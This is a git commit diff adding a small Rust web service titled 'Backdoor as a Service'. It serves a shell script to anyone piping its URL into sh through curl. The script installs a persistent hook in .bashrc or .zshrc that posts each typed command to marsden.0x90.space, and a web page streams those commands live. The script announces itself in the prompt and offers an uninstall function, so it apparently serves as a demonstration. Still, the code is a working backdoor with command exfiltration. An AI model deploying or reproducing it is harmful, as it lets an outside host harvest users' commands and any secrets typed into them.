commit 80c759ebc7cffb4ae5b7af91b473a7f89a4fbcda
Author: Thomas Lindner <tom@dl6tom.de>
Date:   Tue Nov 12 00:26:28 2024 +0100

    initial implementation

diff --git a/.gitignore b/.gitignore
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+ "windows_x86_64_gnu",
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diff --git a/Cargo.toml b/Cargo.toml
new file mode 100644
index 0000000..95c9fcc
--- /dev/null
+++ b/Cargo.toml
@@ -0,0 +1,11 @@
+[package]
+name = "BaaS"
+version = "0.1.0"
+edition = "2021"
+
+[dependencies]
+axum = "0.7"
+axum-extra = { version = "0.9", features = ["typed-header"] }
+headers = "0.4"
+tokio = { version = "1.0", features = ["macros", "rt-multi-thread"] }
+tokio-stream = { version = "0.1", features = ["sync"] }
diff --git a/src/backdoor.sh b/src/backdoor.sh
new file mode 100644
index 0000000..fac23bf
--- /dev/null
+++ b/src/backdoor.sh
@@ -0,0 +1,33 @@
+case $(basename $SHELL) in
+  bash)
+    cat <<'EOF' > ~/.e235e4f510adf396a618051a5fb5f4e1
+PS1="$PS1(this shell is backdoored. remove backdoor with 'uninstall_backdoor') "
+PROMPT_COMMAND="fc -nl -1 | curl -s -X POST -d @- https://marsden.0x90.space/events"
+uninstall_backdoor() {
+  sed -i "/e235e4f510adf396a618051a5fb5f4e1/d" ~/.bashrc
+  rm ~/.e235e4f510adf396a618051a5fb5f4e1
+  exec "$SHELL"
+}
+EOF
+    echo ". ~/.e235e4f510adf396a618051a5fb5f4e1" >> ~/.bashrc
+    exec $SHELL < /dev/tty
+    ;;
+  zsh)
+    cat <<'EOF' > ~/.94075c624c56bc0b2e5bff19846e47aa
+PS1="$PS1(this shell is backdoored. remove backdoor with 'uninstall_backdoor') "
+precmd() {
+  fc -nl -1 | curl -s -X POST -d @- https://marsden.0x90.space/events
+}
+uninstall_backdoor() {
+  sed -i "/94075c624c56bc0b2e5bff19846e47aa/d" ~/.zshrc
+  rm ~/.94075c624c56bc0b2e5bff19846e47aa
+  exec "$SHELL"
+}
+EOF
+    echo ". ~/.94075c624c56bc0b2e5bff19846e47aa" >> ~/.zshrc
+    exec $SHELL < /dev/tty
+    ;;
+  *)
+    echo "unsupported shell."
+    ;;
+esac
diff --git a/src/index.html b/src/index.html
new file mode 100644
index 0000000..df59f4a
--- /dev/null
+++ b/src/index.html
@@ -0,0 +1,21 @@
+<!doctype html>
+<html>
+  <head>
+    <title>Backdoor as a Service</title>
+    <script>
+      function init() {
+        const events = new EventSource("events");
+        events.onmessage = (event) => {
+          const p = document.createElement("p");
+          p.style["font-family"] = "monospace, monospace";
+          p.textContent = event.data;
+          document.body.appendChild(p);
+        }
+      }
+    </script>
+  </head>
+  <body onload="init();">
+    <h1>curl https://marsden.0x90.space | sh</h1>
+    <noscript>sry, requires javascript</noscript>
+  </body>
+</html>
diff --git a/src/main.rs b/src/main.rs
new file mode 100644
index 0000000..33047e2
--- /dev/null
+++ b/src/main.rs
@@ -0,0 +1,49 @@
+use axum::extract::State;
+use axum::response::{sse::Event, Html, Sse};
+use axum::routing::get;
+use axum::Router;
+use axum_extra::TypedHeader;
+use headers::UserAgent;
+use tokio::sync::broadcast;
+use tokio_stream::wrappers::BroadcastStream;
+
+#[derive(Clone)]
+struct AppState {
+    channel: broadcast::Sender<Event>,
+}
+
+impl AppState {
+    fn new() -> Self {
+        let (tx, _rx) = broadcast::channel(16);
+        AppState { channel: tx }
+    }
+}
+
+#[tokio::main]
+async fn main() {
+    let app = Router::new()
+        .route("/", get(root))
+        .route("/events", get(events_get).post(events_post))
+        .with_state(AppState::new());
+
+    let listener = tokio::net::TcpListener::bind("192.168.223.6:80")
+        .await
+        .unwrap();
+    axum::serve(listener, app).await.unwrap();
+}
+
+async fn root(TypedHeader(user_agent): TypedHeader<UserAgent>) -> Html<&'static str> {
+    if user_agent.as_str().starts_with("curl") {
+        Html(std::include_str!("backdoor.sh"))
+    } else {
+        Html(std::include_str!("index.html"))
+    }
+}
+
+async fn events_get(State(state): State<AppState>) -> Sse<BroadcastStream<Event>> {
+    Sse::new(BroadcastStream::new(state.channel.subscribe()))
+}
+
+async fn events_post(State(state): State<AppState>, body: String) {
+    let _ = state.channel.send(Event::default().data(body));
+}